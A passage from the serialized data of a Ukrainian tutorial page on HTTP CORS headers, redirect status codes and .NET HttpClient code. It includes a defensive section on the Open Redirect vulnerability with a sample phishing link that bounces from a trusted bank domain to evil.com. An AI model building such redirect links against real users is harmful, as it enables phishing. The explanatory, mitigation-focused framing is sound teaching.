application\u002Fjson\n",[3433,14502,14503],{"class":3435,"line":3560},[3433,14504,3458],{"emptyLinePlaceholder":3457},[3433,14506,14507],{"class":3435,"line":3565},[3433,14508,14509],{},"api --> browser : 200 OK\\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\\nAccess-Control-Expose-Headers: X-Total-Count\n",[3433,14511,14512],{"class":3435,"line":3570},[3433,14513,3458],{"emptyLinePlaceholder":3457},[3433,14515,14516],{"class":3435,"line":3576},[3433,14517,14518],{},"browser --> js : Відповідь доступна JS\n",[3433,14520,14521],{"class":3435,"line":3582},[3433,14522,3458],{"emptyLinePlaceholder":3457},[3433,14524,14525],{"class":3435,"line":3587},[3433,14526,3645],{},[3654,14528,14530],{"id":14529},"credentialed-запити-cookies-та-cors","Credentialed запити: cookies та CORS",[3317,14532,14533,14534,14537],{},"За замовчуванням cross-origin запити не включають cookies. Для цього потрібен ",[3321,14535,14536],{},"explicit opt-in"," з обох сторін:",[3317,14539,14540],{},[3321,14541,14542],{},"Клієнт (JavaScript):",[3423,14544,14548],{"className":14545,"code":14546,"language":14547,"meta":3428,"style":3428},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","fetch('https:\u002F\u002Fapi.example.com\u002Fme', {\n    credentials: 'include', \u002F\u002F відправити cookies та Authorization\n})\n","javascript",[3430,14549,14550,14563,14576],{"__ignoreMap":3428},[3433,14551,14552,14555,14557,14560],{"class":3435,"line":3436},[3433,14553,14554],{"class":4967},"fetch",[3433,14556,4895],{"class":4749},[3433,14558,14559],{"class":3926},"'https:\u002F\u002Fapi.example.com\u002Fme'",[3433,14561,14562],{"class":4749},", {\n",[3433,14564,14565,14568,14571,14573],{"class":3435,"line":3442},[3433,14566,14567],{"class":4811},"    credentials:",[3433,14569,14570],{"class":3926}," 'include'",[3433,14572,4263],{"class":4749},[3433,14574,14575],{"class":4802},"\u002F\u002F відправити cookies та Authorization\n",[3433,14577,14578],{"class":3435,"line":3448},[3433,14579,14580],{"class":4749},"})\n",[3317,14582,14583],{},[3321,14584,14585],{},"Сервер (відповідь):",[3423,14587,14589],{"className":3911,"code":14588,"language":3913,"meta":3428,"style":3428},"Access-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nAccess-Control-Allow-Credentials: true\n",[3430,14590,14591,14601],{"__ignoreMap":3428},[3433,14592,14593,14596,14598],{"class":3435,"line":3436},[3433,14594,14595],{"class":3920},"Access-Control-Allow-Origin",[3433,14597,3908],{"class":3923},[3433,14599,14600],{"class":3926}," https:\u002F\u002Fapp.example.com\n",[3433,14602,14603,14606,14608],{"class":3435,"line":3442},[3433,14604,14605],{"class":3920},"Access-Control-Allow-Credentials",[3433,14607,3908],{"class":3923},[3433,14609,14610],{"class":3926}," true\n",[4313,14612,14613,14614,4115,14617,14620,14621,14624,14625,3670],{},"При ",[3430,14615,14616],{},"Access-Control-Allow-Credentials: true",[3321,14618,14619],{},"заборонено"," використовувати ",[3430,14622,14623],{},"Access-Control-Allow-Origin: *",". Обов'язково вказувати конкретний origin. Інакше браузер заблокує відповідь навіть при отриманні ",[3430,14626,14627],{},"*",[3654,14629,14631],{"id":14630},"cors-заголовки-відповіді","CORS-заголовки відповіді",[3929,14633,14634,14648,14656,14664,14681,14689],{},[3932,14635,14637,14638,14641,14642,14644,14645,14647],{"name":14595,"type":14636},"origin | _","Дозволені origin. ",[3430,14639,14640],{},"_","— будь-який (несумісно з credentials). Для конкретних:",[3430,14643,4196],{},". Для кількох доменів — сервер динамічно перевіряє ",[3430,14646,4607],{}," запиту і відповідає конкретним.",[3932,14649,14652,14653,3670],{"name":14650,"type":14651},"Access-Control-Allow-Methods","HTTP методи","Дозволені методи: ",[3430,14654,14655],{},"GET, POST, PUT, DELETE, PATCH, OPTIONS",[3932,14657,14660,14661,3670],{"name":14658,"type":14659},"Access-Control-Allow-Headers","header names","Дозволені заголовки запиту: ",[3430,14662,14663],{},"Authorization, Content-Type, X-Request-Id",[3932,14665,14667,14669,14670,4115,14672,4115,14675,14678,14679,3670],{"name":14605,"type":14666},"boolean",[3430,14668,6011],{}," — дозволити cookies та Authorization. При ",[3430,14671,6011],{},[3430,14673,14674],{},"Allow-Origin",[3321,14676,14677],{},"не може"," бути ",[3430,14680,14627],{},[3932,14682,14684,14685,14688],{"name":14683,"type":3964},"Access-Control-Max-Age","Кешування preflight відповіді: ",[3430,14686,14687],{},"86400"," = 24 год. Зменшує кількість OPTIONS запитів.",[3932,14690,14692,14693,3670],{"name":14691,"type":14659},"Access-Control-Expose-Headers","Заголовки відповіді, доступні JavaScript (за замовчуванням лише CORS-safe-listed). ",[3430,14694,14695],{},"X-Total-Count, X-Request-Id, Link",[3654,14697,14699],{"id":14698},"типові-помилки-cors-та-їх-усунення","Типові помилки CORS та їх усунення",[4333,14701,14702,14734,14759,14780],{},[4336,14703,14706,14715,14723],{"icon":14704,"label":14705},"i-lucide-alert-circle","CORS-помилка при правильному Allow-Origin",[3317,14707,14708,14711,14712,14714],{},[3321,14709,14710],{},"Проблема:"," Сервер надсилає ",[3430,14713,14623],{},", але клієнт відправляє credentials (cookies\u002FAuthorization).",[3317,14716,14717,4115,14720],{},[3321,14718,14719],{},"Симптом:",[3430,14721,14722],{},"The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'.",[3317,14724,14725,14728,14729,14731,14732,3670],{},[3321,14726,14727],{},"Рішення:"," Сервер повинен читати ",[3430,14730,4607],{}," заголовок запиту і повертати конкретний origin + ",[3430,14733,14616],{},[4336,14735,14738,14746,14751],{"icon":14736,"label":14737},"i-lucide-server-off","Preflight 404 або 405",[3317,14739,14740,14742,14743,14745],{},[3321,14741,14710],{}," Сервер не обробляє ",[3430,14744,14369],{}," запити — повертає 404 або 405.",[3317,14747,14748,14750],{},[3321,14749,14719],{}," Preflight fail — основний запит ніколи не надсилається.",[3317,14752,14753,14755,14756,14758],{},[3321,14754,14727],{}," Додати обробку ",[3430,14757,14369],{}," на всіх CORS-endpoints або через глобальний middleware.",[4336,14760,14763,14768],{"icon":14761,"label":14762},"i-lucide-refresh-ccw","Кешований старий preflight",[3317,14764,14765,14767],{},[3321,14766,14710],{}," Після зміни CORS конфігурації на сервері браузер використовує старий кешований preflight.",[3317,14769,14770,14772,14773,14776,14777,14779],{},[3321,14771,14727],{}," В DevTools Network → відключити кеш (",[3430,14774,14775],{},"Disable cache","). Або дочекатися ",[3430,14778,14683],{}," секунд.",[4336,14781,14783,14794],{"icon":1930,"label":14782},"CORS на рівні CDN",[3317,14784,14785,14787,14788,14791,14792,3670],{},[3321,14786,14710],{}," CORS заголовки додані в застосунку, але CDN не передає ",[3430,14789,14790],{},"Vary: Origin"," і повертає кешовану відповідь з неправильним ",[3430,14793,14674],{},[3317,14795,14796,14798,14799,14801],{},[3321,14797,14727],{}," CDN повинен кешувати окремі копії для кожного дозволеного origin. Додати ",[3430,14800,14790],{}," у відповідь сервера.",[3654,14803,14805],{"id":14804},"cors-у-net-httpclient","CORS у .NET HttpClient",[3336,14807,14808,14811,14812,14815,14816,14818],{},[3321,14809,14810],{},"CORS — захист браузера, а не API!"," Сервер ",[3321,14813,14814],{},"завжди отримує"," запит незалежно від CORS. ",[3430,14817,10935],{}," у .NET — не браузер і не дотримується CORS. Обмеження CORS діють тільки на JavaScript у браузері.",[3423,14820,14822],{"className":4731,"code":14821,"language":4733,"meta":4734,"style":3428},"using System.Net.Http;\n\n\u002F\u002F HttpClient не має ніяких CORS обмежень — це суто браузерна функція\nusing var client = new HttpClient();\n\n\u002F\u002F httpbingo.org підтримує CORS — повертає Access-Control-Allow-Origin\n\u002F\u002F Емуляція cross-origin запиту з Origin заголовком\nvar request = new HttpRequestMessage(HttpMethod.Get, \"https:\u002F\u002Fhttpbingo.org\u002Fget\");\nrequest.Headers.Add(\"Origin\", \"https:\u002F\u002Fapp.other-domain.com\");\n\nHttpResponseMessage response = await client.SendAsync(request);\n\n\u002F\u002F Переглянути CORS заголовки відповіді\nif (response.Headers.TryGetValues(\"Access-Control-Allow-Origin\", out var origins))\n    Console.WriteLine($\"Allowed Origin: {string.Join(\", \", origins)}\");\n\nif (response.Headers.TryGetValues(\"Access-Control-Allow-Methods\", out var methods))\n    Console.WriteLine($\"Allowed Methods: {string.Join(\", \", methods)}\");\n\n\u002F\u002F Перевірка preflight вручну\nvar preflight = new HttpRequestMessage(HttpMethod.Options, \"https:\u002F\u002Fhttpbingo.org\u002Fget\");\npreflight.Headers.Add(\"Origin\", \"https:\u002F\u002Fapp.other-domain.com\");\npreflight.Headers.Add(\"Access-Control-Request-Method\", \"PUT\");\npreflight.Headers.Add(\"Access-Control-Request-Headers\", \"Authorization, Content-Type\");\n\nHttpResponseMessage preflightResp = await client.SendAsync(preflight);\nConsole.WriteLine($\"Preflight: {preflightResp.StatusCode}\");\nif (preflightResp.Headers.TryGetValues(\"Access-Control-Max-Age\", out var maxAge))\n    Console.WriteLine($\"Preflight кешується: {string.Join(\", \", maxAge)} секунд\");\n",[3430,14823,14824,14840,14844,14849,14865,14869,14874,14879,14905,14929,14933,14955,14959,14964,14996,15033,15037,15069,15105,15109,15114,15142,15165,15189,15213,15217,15240,15268,15300],{"__ignoreMap":3428},[3433,14825,14826,14828,14830,14832,14834,14836,14838],{"class":3435,"line":3436},[3433,14827,4742],{"class":4741},[3433,14829,4746],{"class":4745},[3433,14831,3670],{"class":4749},[3433,14833,4752],{"class":4745},[3433,14835,3670],{"class":4749},[3433,14837,4770],{"class":4745},[3433,14839,4755],{"class":4749},[3433,14841,14842],{"class":3435,"line":3442},[3433,14843,3458],{"emptyLinePlaceholder":3457},[3433,14845,14846],{"class":3435,"line":3448},[3433,14847,14848],{"class":4802},"\u002F\u002F HttpClient не має ніяких CORS обмежень — це суто браузерна функція\n",[3433,14850,14851,14853,14855,14857,14859,14861,14863],{"class":3435,"line":3454},[3433,14852,4742],{"class":4741},[3433,14854,4882],{"class":3923},[3433,14856,4885],{"class":4811},[3433,14858,4815],{"class":4749},[3433,14860,4818],{"class":3923},[3433,14862,4892],{"class":4745},[3433,14864,4824],{"class":4749},[3433,14866,14867],{"class":3435,"line":3461},[3433,14868,3458],{"emptyLinePlaceholder":3457},[3433,14870,14871],{"class":3435,"line":3467},[3433,14872,14873],{"class":4802},"\u002F\u002F httpbingo.org підтримує CORS — повертає Access-Control-Allow-Origin\n",[3433,14875,14876],{"class":3435,"line":3473},[3433,14877,14878],{"class":4802},"\u002F\u002F Емуляція cross-origin запиту з Origin заголовком\n",[3433,14880,14881,14883,14885,14887,14889,14891,14893,14895,14897,14899,14901,14903],{"class":3435,"line":3479},[3433,14882,4808],{"class":3923},[3433,14884,5443],{"class":4811},[3433,14886,4815],{"class":4749},[3433,14888,4818],{"class":3923},[3433,14890,5450],{"class":4745},[3433,14892,4895],{"class":4749},[3433,14894,5455],{"class":4811},[3433,14896,3670],{"class":4749},[3433,14898,5460],{"class":4811},[3433,14900,4263],{"class":4749},[3433,14902,10302],{"class":3926},[3433,14904,4976],{"class":4749},[3433,14906,14907,14909,14911,14913,14915,14917,14919,14922,14924,14927],{"class":3435,"line":3484},[3433,14908,5489],{"class":4811},[3433,14910,3670],{"class":4749},[3433,14912,5515],{"class":4811},[3433,14914,3670],{"class":4749},[3433,14916,5793],{"class":4967},[3433,14918,4895],{"class":4749},[3433,14920,14921],{"class":3926},"\"Origin\"",[3433,14923,4263],{"class":4749},[3433,14925,14926],{"class":3926},"\"https:\u002F\u002Fapp.other-domain.com\"",[3433,14928,4976],{"class":4749},[3433,14930,14931],{"class":3435,"line":3490},[3433,14932,3458],{"emptyLinePlaceholder":3457},[3433,14934,14935,14937,14939,14941,14943,14945,14947,14949,14951,14953],{"class":3435,"line":3496},[3433,14936,4952],{"class":4745},[3433,14938,6971],{"class":4811},[3433,14940,4815],{"class":4749},[3433,14942,4960],{"class":3923},[3433,14944,4885],{"class":4811},[3433,14946,3670],{"class":4749},[3433,14948,5484],{"class":4967},[3433,14950,4895],{"class":4749},[3433,14952,5489],{"class":4811},[3433,14954,4976],{"class":4749},[3433,14956,14957],{"class":3435,"line":3502},[3433,14958,3458],{"emptyLinePlaceholder":3457},[3433,14960,14961],{"class":3435,"line":3508},[3433,14962,14963],{"class":4802},"\u002F\u002F Переглянути CORS заголовки відповіді\n",[3433,14965,14966,14968,14970,14972,14974,14976,14978,14980,14982,14985,14987,14989,14991,14994],{"class":3435,"line":3513},[3433,14967,5505],{"class":4741},[3433,14969,4638],{"class":4749},[3433,14971,11351],{"class":4811},[3433,14973,3670],{"class":4749},[3433,14975,5515],{"class":4811},[3433,14977,3670],{"class":4749},[3433,14979,5520],{"class":4967},[3433,14981,4895],{"class":4749},[3433,14983,14984],{"class":3926},"\"Access-Control-Allow-Origin\"",[3433,14986,4263],{"class":4749},[3433,14988,5530],{"class":3923},[3433,14990,4882],{"class":3923},[3433,14992,14993],{"class":4811}," origins",[3433,14995,5538],{"class":4749},[3433,14997,14998,15000,15002,15004,15006,15009,15011,15013,15015,15017,15019,15021,15023,15026,15029,15031],{"class":3435,"line":3519},[3433,14999,5075],{"class":4811},[3433,15001,3670],{"class":4749},[3433,15003,5080],{"class":4967},[3433,15005,4895],{"class":4749},[3433,15007,15008],{"class":3926},"$\"Allowed Origin: ",[3433,15010,5089],{"class":5088},[3433,15012,3940],{"class":3923},[3433,15014,3670],{"class":5088},[3433,15016,11472],{"class":4967},[3433,15018,4895],{"class":5088},[3433,15020,11477],{"class":3926},[3433,15022,4263],{"class":5088},[3433,15024,15025],{"class":4811},"origins",[3433,15027,15028],{"class":5088},")}",[3433,15030,5117],{"class":3926},[3433,15032,4976],{"class":4749},[3433,15034,15035],{"class":3435,"line":3525},[3433,15036,3458],{"emptyLinePlaceholder":3457},[3433,15038,15039,15041,15043,15045,15047,15049,15051,15053,15055,15058,15060,15062,15064,15067],{"class":3435,"line":3531},[3433,15040,5505],{"class":4741},[3433,15042,4638],{"class":4749},[3433,15044,11351],{"class":4811},[3433,15046,3670],{"class":4749},[3433,15048,5515],{"class":4811},[3433,15050,3670],{"class":4749},[3433,15052,5520],{"class":4967},[3433,15054,4895],{"class":4749},[3433,15056,15057],{"class":3926},"\"Access-Control-Allow-Methods\"",[3433,15059,4263],{"class":4749},[3433,15061,5530],{"class":3923},[3433,15063,4882],{"class":3923},[3433,15065,15066],{"class":4811}," methods",[3433,15068,5538],{"class":4749},[3433,15070,15071,15073,15075,15077,15079,15082,15084,15086,15088,15090,15092,15094,15096,15099,15101,15103],{"class":3435,"line":3537},[3433,15072,5075],{"class":4811},[3433,15074,3670],{"class":4749},[3433,15076,5080],{"class":4967},[3433,15078,4895],{"class":4749},[3433,15080,15081],{"class":3926},"$\"Allowed Methods: ",[3433,15083,5089],{"class":5088},[3433,15085,3940],{"class":3923},[3433,15087,3670],{"class":5088},[3433,15089,11472],{"class":4967},[3433,15091,4895],{"class":5088},[3433,15093,11477],{"class":3926},[3433,15095,4263],{"class":5088},[3433,15097,15098],{"class":4811},"methods",[3433,15100,15028],{"class":5088},[3433,15102,5117],{"class":3926},[3433,15104,4976],{"class":4749},[3433,15106,15107],{"class":3435,"line":3542},[3433,15108,3458],{"emptyLinePlaceholder":3457},[3433,15110,15111],{"class":3435,"line":3548},[3433,15112,15113],{"class":4802},"\u002F\u002F Перевірка preflight вручну\n",[3433,15115,15116,15118,15121,15123,15125,15127,15129,15131,15133,15136,15138,15140],{"class":3435,"line":3554},[3433,15117,4808],{"class":3923},[3433,15119,15120],{"class":4811}," preflight",[3433,15122,4815],{"class":4749},[3433,15124,4818],{"class":3923},[3433,15126,5450],{"class":4745},[3433,15128,4895],{"class":4749},[3433,15130,5455],{"class":4811},[3433,15132,3670],{"class":4749},[3433,15134,15135],{"class":4811},"Options",[3433,15137,4263],{"class":4749},[3433,15139,10302],{"class":3926},[3433,15141,4976],{"class":4749},[3433,15143,15144,15147,15149,15151,15153,15155,15157,15159,15161,15163],{"class":3435,"line":3560},[3433,15145,15146],{"class":4811},"preflight",[3433,15148,3670],{"class":4749},[3433,15150,5515],{"class":4811},[3433,15152,3670],{"class":4749},[3433,15154,5793],{"class":4967},[3433,15156,4895],{"class":4749},[3433,15158,14921],{"class":3926},[3433,15160,4263],{"class":4749},[3433,15162,14926],{"class":3926},[3433,15164,4976],{"class":4749},[3433,15166,15167,15169,15171,15173,15175,15177,15179,15182,15184,15187],{"class":3435,"line":3565},[3433,15168,15146],{"class":4811},[3433,15170,3670],{"class":4749},[3433,15172,5515],{"class":4811},[3433,15174,3670],{"class":4749},[3433,15176,5793],{"class":4967},[3433,15178,4895],{"class":4749},[3433,15180,15181],{"class":3926},"\"Access-Control-Request-Method\"",[3433,15183,4263],{"class":4749},[3433,15185,15186],{"class":3926},"\"PUT\"",[3433,15188,4976],{"class":4749},[3433,15190,15191,15193,15195,15197,15199,15201,15203,15206,15208,15211],{"class":3435,"line":3570},[3433,15192,15146],{"class":4811},[3433,15194,3670],{"class":4749},[3433,15196,5515],{"class":4811},[3433,15198,3670],{"class":4749},[3433,15200,5793],{"class":4967},[3433,15202,4895],{"class":4749},[3433,15204,15205],{"class":3926},"\"Access-Control-Request-Headers\"",[3433,15207,4263],{"class":4749},[3433,15209,15210],{"class":3926},"\"Authorization, Content-Type\"",[3433,15212,4976],{"class":4749},[3433,15214,15215],{"class":3435,"line":3576},[3433,15216,3458],{"emptyLinePlaceholder":3457},[3433,15218,15219,15221,15224,15226,15228,15230,15232,15234,15236,15238],{"class":3435,"line":3582},[3433,15220,4952],{"class":4745},[3433,15222,15223],{"class":4811}," preflightResp",[3433,15225,4815],{"class":4749},[3433,15227,4960],{"class":3923},[3433,15229,4885],{"class":4811},[3433,15231,3670],{"class":4749},[3433,15233,5484],{"class":4967},[3433,15235,4895],{"class":4749},[3433,15237,15146],{"class":4811},[3433,15239,4976],{"class":4749},[3433,15241,15242,15244,15246,15248,15250,15253,15255,15258,15260,15262,15264,15266],{"class":3435,"line":3587},[3433,15243,7898],{"class":4811},[3433,15245,3670],{"class":4749},[3433,15247,5080],{"class":4967},[3433,15249,4895],{"class":4749},[3433,15251,15252],{"class":3926},"$\"Preflight: ",[3433,15254,5089],{"class":5088},[3433,15256,15257],{"class":4811},"preflightResp",[3433,15259,3670],{"class":5088},[3433,15261,12745],{"class":4811},[3433,15263,5100],{"class":5088},[3433,15265,5117],{"class":3926},[3433,15267,4976],{"class":4749},[3433,15269,15270,15272,15274,15276,15278,15280,15282,15284,15286,15289,15291,15293,15295,15298],{"class":3435,"line":3592},[3433,15271,5505],{"class":4741},[3433,15273,4638],{"class":4749},[3433,15275,15257],{"class":4811},[3433,15277,3670],{"class":4749},[3433,15279,5515],{"class":4811},[3433,15281,3670],{"class":4749},[3433,15283,5520],{"class":4967},[3433,15285,4895],{"class":4749},[3433,15287,15288],{"class":3926},"\"Access-Control-Max-Age\"",[3433,15290,4263],{"class":4749},[3433,15292,5530],{"class":3923},[3433,15294,4882],{"class":3923},[3433,15296,15297],{"class":4811}," maxAge",[3433,15299,5538],{"class":4749},[3433,15301,15302,15304,15306,15308,15310,15313,15315,15317,15319,15321,15323,15325,15327,15330,15332,15335],{"class":3435,"line":3598},[3433,15303,5075],{"class":4811},[3433,15305,3670],{"class":4749},[3433,15307,5080],{"class":4967},[3433,15309,4895],{"class":4749},[3433,15311,15312],{"class":3926},"$\"Preflight кешується: ",[3433,15314,5089],{"class":5088},[3433,15316,3940],{"class":3923},[3433,15318,3670],{"class":5088},[3433,15320,11472],{"class":4967},[3433,15322,4895],{"class":5088},[3433,15324,11477],{"class":3926},[3433,15326,4263],{"class":5088},[3433,15328,15329],{"class":4811},"maxAge",[3433,15331,15028],{"class":5088},[3433,15333,15334],{"class":3926}," секунд\"",[3433,15336,4976],{"class":4749},[3647,15338],{},[3312,15340,15342],{"id":15341},"redirects-деталі-та-підводні-камені","Redirects: деталі та підводні камені",[3654,15344,15346],{"id":15345},"типи-редиректів-та-поведінка-при-post","Типи редиректів та поведінка при POST",[3420,15348,15349],{},[3423,15350,15352],{"className":3425,"code":15351,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\n[*] --> Request : HTTP запит\n\nstate \"Отримано 3xx\" as r3xx {\n    state \"301 Moved Permanently\" as s301 : POST може → GET\\n(старі клієнти)\\nКешується назавжди\n    state \"302 Found\" as s302 : POST може → GET\\nНЕ кешується\n    state \"303 See Other\" as s303 : Завжди GET\\nПісля POST → редирект на результат\n    state \"307 Temporary Redirect\" as s307 : Метод зберігається!\\nPOST залишається POST\\nНЕ кешується\n    state \"308 Permanent Redirect\" as s308 : Метод зберігається!\\nPOST залишається POST\\nКешується назавжди\n}\n\nRequest --> r3xx\nr3xx --> [*] : Новий запит на Location\n\n@enduml\n",[3430,15353,15354,15358,15362,15366,15370,15375,15379,15384,15389,15394,15399,15404,15409,15413,15417,15422,15427,15431],{"__ignoreMap":3428},[3433,15355,15356],{"class":3435,"line":3436},[3433,15357,3439],{},[3433,15359,15360],{"class":3435,"line":3442},[3433,15361,3445],{},[3433,15363,15364],{"class":3435,"line":3448},[3433,15365,3451],{},[3433,15367,15368],{"class":3435,"line":3454},[3433,15369,3458],{"emptyLinePlaceholder":3457},[3433,15371,15372],{"class":3435,"line":3461},[3433,15373,15374],{},"[*] --> Request : HTTP запит\n",[3433,15376,15377],{"class":3435,"line":3467},[3433,15378,3458],{"emptyLinePlaceholder":3457},[3433,15380,15381],{"class":3435,"line":3473},[3433,15382,15383],{},"state \"Отримано 3xx\" as r3xx {\n",[3433,15385,15386],{"class":3435,"line":3479},[3433,15387,15388],{},"    state \"301 Moved Permanently\" as s301 : POST може → GET\\n(старі клієнти)\\nКешується назавжди\n",[3433,15390,15391],{"class":3435,"line":3484},[3433,15392,15393],{},"    state \"302 Found\" as s302 : POST може → GET\\nНЕ кешується\n",[3433,15395,15396],{"class":3435,"line":3490},[3433,15397,15398],{},"    state \"303 See Other\" as s303 : Завжди GET\\nПісля POST → редирект на результат\n",[3433,15400,15401],{"class":3435,"line":3496},[3433,15402,15403],{},"    state \"307 Temporary Redirect\" as s307 : Метод зберігається!\\nPOST залишається POST\\nНЕ кешується\n",[3433,15405,15406],{"class":3435,"line":3502},[3433,15407,15408],{},"    state \"308 Permanent Redirect\" as s308 : Метод зберігається!\\nPOST залишається POST\\nКешується назавжди\n",[3433,15410,15411],{"class":3435,"line":3508},[3433,15412,3813],{},[3433,15414,15415],{"class":3435,"line":3513},[3433,15416,3458],{"emptyLinePlaceholder":3457},[3433,15418,15419],{"class":3435,"line":3519},[3433,15420,15421],{},"Request --> r3xx\n",[3433,15423,15424],{"class":3435,"line":3525},[3433,15425,15426],{},"r3xx --> [*] : Новий запит на Location\n",[3433,15428,15429],{"class":3435,"line":3531},[3433,15430,3458],{"emptyLinePlaceholder":3457},[3433,15432,15433],{"class":3435,"line":3537},[3433,15434,3645],{},[3346,15436,15437,15453],{},[3349,15438,15439],{},[3352,15440,15441,15444,15447,15450],{},[3355,15442,15443],{},"Код",[3355,15445,15446],{},"Постійний",[3355,15448,15449],{},"Зберігає метод",[3355,15451,15452],{},"Типове застосування",[3368,15454,15455,15471,15485,15500,15514],{},[3352,15456,15457,15462,15465,15468],{},[3373,15458,15459],{},[3321,15460,15461],{},"301",[3373,15463,15464],{},"Так",[3373,15466,15467],{},"Ні (POST→GET у старих)",[3373,15469,15470],{},"Зміна домену, URL реструктуризація",[3352,15472,15473,15478,15480,15482],{},[3373,15474,15475],{},[3321,15476,15477],{},"302",[3373,15479,8559],{},[3373,15481,15467],{},[3373,15483,15484],{},"Тимчасова заміна (не рекомендується)",[3352,15486,15487,15492,15494,15497],{},[3373,15488,15489],{},[3321,15490,15491],{},"303",[3373,15493,8559],{},[3373,15495,15496],{},"Завжди GET",[3373,15498,15499],{},"POST\u002FRedirect\u002FGET паттерн",[3352,15501,15502,15507,15509,15511],{},[3373,15503,15504],{},[3321,15505,15506],{},"307",[3373,15508,8559],{},[3373,15510,15464],{},[3373,15512,15513],{},"Тимчасовий редирект із збереженням методу",[3352,15515,15516,15521,15523,15525],{},[3373,15517,15518],{},[3321,15519,15520],{},"308",[3373,15522,15464],{},[3373,15524,15464],{},[3373,15526,15527],{},"Постійний редирект із збереженням методу",[3317,15529,15530,15533,15534,15536,15537,4109,15540,15543,15544,15546],{},[3321,15531,15532],{},"Post\u002FRedirect\u002FGet (PRG) pattern:"," після успішного ",[3430,15535,14345],{}," відповідати ",[3430,15538,15539],{},"303 See Other",[3430,15541,15542],{},"Location: \u002Fsuccess",". Браузер перейде ",[3430,15545,12200],{}," на сторінку успіху. При натисканні «Назад\u002FОновити» браузер не повторить POST.",[3654,15548,15550],{"id":15549},"open-redirect-вразливість","Open Redirect вразливість",[4313,15552,15553,15559,15565,15572],{},[3317,15554,15555,15558],{},[3321,15556,15557],{},"Open Redirect"," — вразливість, коли сервер перенаправляє на URL, що приходить від клієнта без валідації:",[3423,15560,15563],{"className":15561,"code":15562,"language":4628},[4626],"https:\u002F\u002Fbank.com\u002Fredirect?to=https:\u002F\u002Fevil.com\u002Fphishing\n→ 302 Location: https:\u002F\u002Fevil.com\u002Fphishing\n",[3430,15564,15562],{"__ignoreMap":3428},[3317,15566,15567,15568,15571],{},"Зловмисник надсилає жертві посилання на ",[3430,15569,15570],{},"bank.com"," (довірений домен), яке перенаправляє на фішинговий сайт. Жертва бачить у рядку банківський домен і не підозрює.",[3317,15573,15574,15576],{},[3321,15575,4447],{}," Ніколи не використовувати параметри запиту як URL для редиректу. Якщо redirect потрібен — перевіряти, що target URL є allowlisted відносним шляхом.",[3423,15578,15580],{"className":4731,"code":15579,"language":4733,"meta":4734,"style":3428},"using System.Net;\nusing System.Net.Http;\n\n\u002F\u002F HttpClient за замовчуванням автоматично слідує редиректам (до 50)\nusing var autoClient = new HttpClient();\n\u002F\u002F AllowAutoRedirect = true за замовчуванням\n\n\u002F\u002F Вимкнути автоматичні редиректи:\nvar handler = new HttpClientHandler { AllowAutoRedirect = false };\nusing var manualClient = new HttpClient(handler);\n\nHttpResponseMessage response = await manualClient.GetAsync(\"https:\u002F\u002Fhttpbingo.org\u002Fabsolute-redirect\u002F2\");\n\nwhile (response.StatusCode is HttpStatusCode.MovedPermanently\n                           or HttpStatusCode.Found\n                           or HttpStatusCode.SeeOther\n                           or HttpStatusCode.TemporaryRedirect\n                           or HttpStatusCode.PermanentRedirect)\n{\n    Uri? newLocation = response.Headers.Location;\n    if (newLocation is null) break;\n\n    \u002F\u002F Якщо URL відносний — перетворимо на абсолютний\n    if (!newLocation.IsAbsoluteUri)\n        newLocation = new Uri(new Uri(\"https:\u002F\u002Fhttpbingo.org\"), newLocation);\n\n    \u002F\u002F Валідація: чи це очікуваний домен?\n    if (newLocation.Host != \"httpbingo.org\")\n    {\n        Console.WriteLine($\"⚠ Підозрілий редирект на: {newLocation}\");\n        break;\n    }\n\n    Console.WriteLine($\"→ Редирект {(int)response.StatusCode}: {newLocation}\");\n    var method = response.StatusCode == HttpStatusCode.SeeOther\n        ? HttpMethod.Get \u002F\u002F 303 завжди GET\n        : HttpMethod.Get; \u002F\u002F спрощено; реально — зберегти оригінальний\n\n    response = await manualClient.GetAsync(newLocation);\n}\n\nConsole.WriteLine($\"Фінальна відповідь: {response.StatusCode}\");\n",[3430,15581,15582,15594,15610,15614,15619,15636,15641,15645,15650,15672,15693,15697,15720,15724,15747,15759,15770,15781,15794,15798,15823,15842,15846,15851,15867,15896,15900,15905,15925,15929,15952,15959,15963,15967,16007,16030,16043,16058,16062,16082,16086,16090],{"__ignoreMap":3428},[3433,15583,15584,15586,15588,15590,15592],{"class":3435,"line":3436},[3433,15585,4742],{"class":4741},[3433,15587,4746],{"class":4745},[3433,15589,3670],{"class":4749},[3433,15591,4752],{"class":4745},[3433,15593,4755],{"class":4749},[3433,15595,15596,15598,15600,15602,15604,15606,15608],{"class":3435,"line":3442},[3433,15597,4742],{"class":4741},[3433,15599,4746],{"class":4745},[3433,15601,3670],{"class":4749},[3433,15603,4752],{"class":4745},[3433,15605,3670],{"class":4749},[3433,15607,4770],{"class":4745},[3433,15609,4755],{"class":4749},[3433,15611,15612],{"class":3435,"line":3448},[3433,15613,3458],{"emptyLinePlaceholder":3457},[3433,15615,15616],{"class":3435,"line":3454},[3433,15617,15618],{"class":4802},"\u002F\u002F HttpClient за замовчуванням автоматично слідує редиректам (до 50)\n",[3433,15620,15621,15623,15625,15628,15630,15632,15634],{"class":3435,"line":3461},[3433,15622,4742],{"class":4741},[3433,15624,4882],{"class":3923},[3433,15626,15627],{"class":4811}," autoClient",[3433,15629,4815],{"class":4749},[3433,15631,4818],{"class":3923},[3433,15633,4892],{"class":4745},[3433,15635,4824],{"class":4749},[3433,15637,15638],{"class":3435,"line":3467},[3433,15639,15640],{"class":4802},"\u002F\u002F AllowAutoRedirect = true за замовчуванням\n",[3433,15642,15643],{"class":3435,"line":3473},[3433,15644,3458],{"emptyLinePlaceholder":3457},[3433,15646,15647],{"class":3435,"line":3479},[3433,15648,15649],{"class":4802},"\u002F\u002F Вимкнути автоматичні 